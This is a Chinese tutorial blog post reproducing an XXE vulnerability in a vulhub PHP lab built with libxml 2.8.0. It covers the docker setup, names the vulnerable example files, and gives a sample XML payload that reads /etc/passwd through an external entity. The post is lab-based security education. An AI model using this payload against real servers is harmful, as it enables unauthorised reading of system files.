vulhub漏洞—php环境XML外部实体注入漏洞(XXE)
2021/12/17 17:19:55
本文主要是介绍vulhub漏洞—php环境XML外部实体注入漏洞(XXE),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
PHP环境 XML外部实体注入漏洞(XXE)
XXE知识总结
环境介绍:
-
PHP 7.0.30
-
libxml 2.8.0
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。
vulhub搭建漏洞:
github位置:https://github.com/vulhub/vulhub/tree/master/php/php_xxe
使用如下命令编译并启动环境:
docker-compose up -d
环境启动后,访问http://your-ip:8080/index.php
即可看到phpinfo,搜索libxml即可看到其版本为2.8.0。
复现漏洞
Web目录为./www
,其中包含4个文件:
$ tree . . ├── dom.php # 示例:使用DOMDocument解析body ├── index.php ├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body └── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
dom.php
、SimpleXMLElement.php
、simplexml_load_string.php
均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。
简单的 XXE Payload:
POST /simplexml_load_string.php
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root>
这篇关于vulhub漏洞—php环境XML外部实体注入漏洞(XXE)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-19php8的协程和hyperf的协程有什么区别?-icode9专业技术文章分享
- 2024-12-19php8 的fiber是什么?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-11-29使用PHP 将ETH账户的资产汇集到一个账户
- 2024-11-23怎么实现安卓+php 热更新方案?-icode9专业技术文章分享
- 2024-11-22PHP 中怎么实现判断多个值是否为空、null 或者为 false?-icode9专业技术文章分享
- 2024-11-11开源 PHP 商城项目 CRMEB 二次开发和部署教程
- 2024-11-09怎么使用php在kaufland平台刊登商品?-icode9专业技术文章分享
- 2024-11-05PHP的抽象类和接口是什么,有什么区别-icode9专业技术文章分享